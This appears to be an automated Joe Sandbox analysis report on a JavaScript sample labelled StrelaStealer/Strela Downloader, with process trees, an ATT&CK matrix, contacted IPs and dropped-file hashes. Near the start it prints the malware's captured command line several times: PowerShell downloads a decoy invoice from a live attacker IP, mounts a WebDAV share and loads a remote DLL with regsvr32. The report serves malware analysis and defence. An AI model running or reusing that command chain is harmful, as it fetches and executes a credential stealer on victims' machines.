Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
221165125265292179.js	13%	Virustotal		Browse
221165125265292179.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/)	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/9	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/)	net.exe, 00000006.00000002.1758790227.000001DB78C66000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1757261171.000001DB78C66000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/9	net.exe, 00000006.00000002.1758790227.000001DB78C66000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1757261171.000001DB78C66000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000008.00000002.3004857746.000002156F600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1759455756.000002156F8C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1758790227.000001DB78C66000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1757138489.000001DB78C8F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1757261171.000001DB78C66000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1758639891.000001DB78C38000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1758936880.000001DB78C91000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1759455756.000002156F8C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588640
Start date and time:	2025-01-11 03:33:21 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	221165125265292179.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 3.233.129.217, 52.6.155.20, 3.219.243.226, 52.22.41.97, 2.16.168.107, 2.16.168.105, 162.159.61.3, 172.64.41.3, 184.28.90.27, 23.209.209.135, 172.202.163.200, 23.56.162.204, 4.175.87.197, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:34:16	API Interceptor	22x Sleep call for process: powershell.exe modified
21:34:20	API Interceptor	1x Sleep call for process: net.exe modified
21:34:20	API Interceptor	2x Sleep call for process: svchost.exe modified
21:34:33	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	47411761265155214.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	166452923276113028.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16042278381135117219.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1297823757234143258.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	47411761265155214.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1525641771920916745.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	853872402647317272.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2920450291176811805.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	166452923276113028.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16042278381135117219.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1297823757234143258.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.307367489756821
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrT:KooCEYhgYEL0In
MD5:	4B0248FED03819204525C5039A7019B4
SHA1:	2992CC52FF06E65FD9469F521F93ED6549FC1331
SHA-256:	0F85CCFEB35CC8C0782B55F4A29A60B291A86AA57CE24F51F1C3198E495A9160
SHA-512:	AB8C012367406A96AE00E77BD7EEAEB74F91126E2F7A5C75E5ECEF9B312128D5C868BC9C65E8EFFCADCA24340F6BBF4806E3F5285FA9BC3EAB08518993113958
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xf5b66b89, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42214731379568393
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:xaza/vMUM2Uvz7DO
MD5:	78B9A371F279E3E55F93C413730C1E72
SHA1:	978E510F0173B924DC33465EF4B7C18C65D5985F
SHA-256:	56B8F81C446DB75C318475AAA2354046056B493D5309D2D8D2CB43A181BFEF7C
SHA-512:	340657D6D62C6E5C8284C3D7EE2CF904597DDA42EB5621EC8E2166592441F566BA848A702BBE28BB2EF2A59627510A286CCB691A500D9C300584C860E8614E7D
Malicious:	false
Preview:	..k.... .......A.......X\...;...{......................0.!..........{A.."...}_.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{....................................q."...}_.................g...."...}_..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07688828236553058
Encrypted:	false
SSDEEP:	3:xVQUYeHOY+lvjn13a/WNllYllcVO/lnlZMxZNQl:0UzHOTlv53q3Oewk
MD5:	E4A64011D75EB7C109DF99FE39C0EDAF
SHA1:	A9C7A56705355E31299CF519BCE7A1EFDF0A7C02
SHA-256:	4F82A0235B0A74E10CE132C82284EC0C564842EBF9B2B9523D0339A53B5043EE
SHA-512:	7D3A4DD9E8C929E7DA3E3AE51B39B78ACD058F8EEDB333AD0E981FF0DA84C6C368DFB59425DC065F5DC1CDDCEC9D695AB9AFF49ECCECD958259AC29DD26AC06F
Malicious:	false
Preview:	T.p......................................;...{..."...}_......{A..............{A......{A..........{A]................g...."...}_.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.184988466332999
Encrypted:	false
SSDEEP:	6:iO4qJWjUnq2Pwkn2nKuAl9OmbnIFUtSqJWJ7ZmwsqJWJRkwOwkn2nKuAl9OmbjLJ:7yjUnvYfHAahFUtQJ/mD5JfHAaSJ
MD5:	7FC0AFACDDC049AEF4D92E8A4ADB1C6D
SHA1:	81A2F395AD6915383CB70512D9079B89E2D3B994
SHA-256:	AC6B3D9A89AF83A6DE6D4975F8D9AA2E2630FFD92A0FFCE5C2378B3DDE910074
SHA-512:	B0571EE357452DCD430CA6EB033E936EA98C7FDDB64B3595FF02C2B9C62CD1756E62AE21F1A0379B051691910B781D6158AB2348B3EDA7C26097BE138A8BCACD
Malicious:	false
Preview:	2025/01/10-21:34:20.344 1f70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:34:20.346 1f70 Recovering log #3.2025/01/10-21:34:20.346 1f70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.184988466332999
Encrypted:	false
SSDEEP:	6:iO4qJWjUnq2Pwkn2nKuAl9OmbnIFUtSqJWJ7ZmwsqJWJRkwOwkn2nKuAl9OmbjLJ:7yjUnvYfHAahFUtQJ/mD5JfHAaSJ
MD5:	7FC0AFACDDC049AEF4D92E8A4ADB1C6D
SHA1:	81A2F395AD6915383CB70512D9079B89E2D3B994
SHA-256:	AC6B3D9A89AF83A6DE6D4975F8D9AA2E2630FFD92A0FFCE5C2378B3DDE910074
SHA-512:	B0571EE357452DCD430CA6EB033E936EA98C7FDDB64B3595FF02C2B9C62CD1756E62AE21F1A0379B051691910B781D6158AB2348B3EDA7C26097BE138A8BCACD
Malicious:	false
Preview:	2025/01/10-21:34:20.344 1f70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:34:20.346 1f70 Recovering log #3.2025/01/10-21:34:20.346 1f70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.177383085062582
Encrypted:	false
SSDEEP:	6:iO4qJ1fdL+q2Pwkn2nKuAl9Ombzo2jMGIFUtSqJu1ZmwsqJ4LVkwOwkn2nKuAl97:7hVL+vYfHAa8uFUtm/oLV5JfHAa8RJ
MD5:	EDA82E30E52E142254FFF222D2637A6F
SHA1:	9D7F4F122EEE5C3D9951626F09008895168AC5E5
SHA-256:	04C502CC248D82DBADABC3496043002F5F5B7B8DEE596E0D5C21EFC4C2AA135C
SHA-512:	857E753AE2DF96A9DA629060D3A61257F9A26426E1E05D9411A35545DA529C19F07453FE80E4C5B6B79C45599E2776E182717A11A02372E0A61618FAC8337774
Malicious:	false
Preview:	2025/01/10-21:34:20.396 1c7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:34:20.397 1c7c Recovering log #3.2025/01/10-21:34:20.397 1c7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.177383085062582
Encrypted:	false
SSDEEP:	6:iO4qJ1fdL+q2Pwkn2nKuAl9Ombzo2jMGIFUtSqJu1ZmwsqJ4LVkwOwkn2nKuAl97:7hVL+vYfHAa8uFUtm/oLV5JfHAa8RJ
MD5:	EDA82E30E52E142254FFF222D2637A6F
SHA1:	9D7F4F122EEE5C3D9951626F09008895168AC5E5
SHA-256:	04C502CC248D82DBADABC3496043002F5F5B7B8DEE596E0D5C21EFC4C2AA135C
SHA-512:	857E753AE2DF96A9DA629060D3A61257F9A26426E1E05D9411A35545DA529C19F07453FE80E4C5B6B79C45599E2776E182717A11A02372E0A61618FAC8337774
Malicious:	false
Preview:	2025/01/10-21:34:20.396 1c7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:34:20.397 1c7c Recovering log #3.2025/01/10-21:34:20.397 1c7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.964225384192788
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqGsBdOg2HIWgcaq3QYiubInP7E4T3y:Y2sRdsidMHIWL3QYhbG7nby
MD5:	7DFF3C8B0FC369C9705A7C4D680F3DBD
SHA1:	ECF0885A3A092291EB5A8C04D97AFC1E3A21DB8C
SHA-256:	B48F35AD4113510032ACF7AF152538B7393D032D3C859B86BE0143EFC6B43C1D
SHA-512:	18E388C9E4E3383A7A8FD1727C3A41537959469146BA33F9EB4C78FC4B310C2EF9ED1BA0FBDF41A5F715B0B08F931D8F48C762726F4D54CA77E0A98704A3670C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381122872957988","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133566},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b4028fba-cf98-4d18-9b5a-caf554763660.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.964225384192788
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqGsBdOg2HIWgcaq3QYiubInP7E4T3y:Y2sRdsidMHIWL3QYhbG7nby
MD5:	7DFF3C8B0FC369C9705A7C4D680F3DBD
SHA1:	ECF0885A3A092291EB5A8C04D97AFC1E3A21DB8C
SHA-256:	B48F35AD4113510032ACF7AF152538B7393D032D3C859B86BE0143EFC6B43C1D
SHA-512:	18E388C9E4E3383A7A8FD1727C3A41537959469146BA33F9EB4C78FC4B310C2EF9ED1BA0FBDF41A5F715B0B08F931D8F48C762726F4D54CA77E0A98704A3670C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381122872957988","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":133566},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.2539667267966195
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo73m5NP:etJCV4FiN/jTN/2r8Mta02fEhgO73goM
MD5:	818CCE20A87D7F08B14E85DD30776536
SHA1:	5046C4958F87A5115CB7B5F701D82C644A2F36FA
SHA-256:	7608FF65BB54832F555729B53F90500392D2AD669A6FCE0FB41DA3EBF6D9B80B
SHA-512:	A40BC019E353D7578ABB30F3E6FCE8922535B235C3A01F4168A8DBB4510F121B7EF02806397B9E063A425FB6D5E8FD0571566EC53C02A4CB39DFDC82F18DB008
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.172918362201814
Encrypted:	false
SSDEEP:	6:iO4qJ2L+q2Pwkn2nKuAl9OmbzNMxIFUtSqJfl1ZmwsqJwLVkwOwkn2nKuAl9Ombg:7aL+vYfHAa8jFUtN/gLV5JfHAa84J
MD5:	F46818420B1981A190B21AE3AD352F4E
SHA1:	1FB4046CB1E8D51A03457D061CAADB8EE53111F4
SHA-256:	CF63BA7CCC7FBF55D073EE04E272A59EBD905415D150D161A81D9BBAC2D64AF4
SHA-512:	CC87DB2F3EF926E1C90580212A574639EA879A78E90B9D7C3550D910A062E783510F65DBD73224EC03F873EE99F0D34443FF51ED2ABB9F2A5F58192EDCA9EED3
Malicious:	false
Preview:	2025/01/10-21:34:20.593 1c7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:34:20.594 1c7c Recovering log #3.2025/01/10-21:34:20.595 1c7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.172918362201814
Encrypted:	false
SSDEEP:	6:iO4qJ2L+q2Pwkn2nKuAl9OmbzNMxIFUtSqJfl1ZmwsqJwLVkwOwkn2nKuAl9Ombg:7aL+vYfHAa8jFUtN/gLV5JfHAa84J
MD5:	F46818420B1981A190B21AE3AD352F4E
SHA1:	1FB4046CB1E8D51A03457D061CAADB8EE53111F4
SHA-256:	CF63BA7CCC7FBF55D073EE04E272A59EBD905415D150D161A81D9BBAC2D64AF4
SHA-512:	CC87DB2F3EF926E1C90580212A574639EA879A78E90B9D7C3550D910A062E783510F65DBD73224EC03F873EE99F0D34443FF51ED2ABB9F2A5F58192EDCA9EED3
Malicious:	false
Preview:	2025/01/10-21:34:20.593 1c7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:34:20.594 1c7c Recovering log #3.2025/01/10-21:34:20.595 1c7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444914103269055
Encrypted:	false
SSDEEP:	384:yezci5tWiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rZs3OazzU89UTTgUL
MD5:	154CFA1CDCD42C54B059AED73FE5D656
SHA1:	B0D1513A1E6C60F423DE5C0AF0C2411C9D39AD56
SHA-256:	FC5449004A85C5A53E6341C57556CCA329C30255102A94ED79DE4DC729800BD8
SHA-512:	D90E58FE62A86A27BBB6A3D5F824D4211C479BD71A63E54B64D8B6AF12D637ED5732FA8E23EDDA80FEA7CAAB3210060CCF8D46ED25A6A6E6C760308DA2FC3AB9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7731167188276533
Encrypted:	false
SSDEEP:	48:7MRip/E2ioyVxioy9oWoy1Cwoy11KOioy1noy1AYoy1Wioy1hioybioyRoy1noy9:78ipjuxFwXKQIRb9IVXEBodRBkB
MD5:	10B5A4BAA8FB083DB38ED13BCB70A591
SHA1:	152D6425BAF8724CB3B998179D953B602A9488D6
SHA-256:	74C71042A1A2BF3BF78F162312B21B6AC238B15F04DDFCA3C7D5AF00E3FF5C43
SHA-512:	55E4C4CA58D8199BE96982C724F9E44FDD981C9824F6876B54F10545096B92EEFAC6E35DC9445A57DD167B80D4D6FE0FBA8B450F7C96242CD1C8A350FD169D47
Malicious:	false
Preview:	.... .c......p.+...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

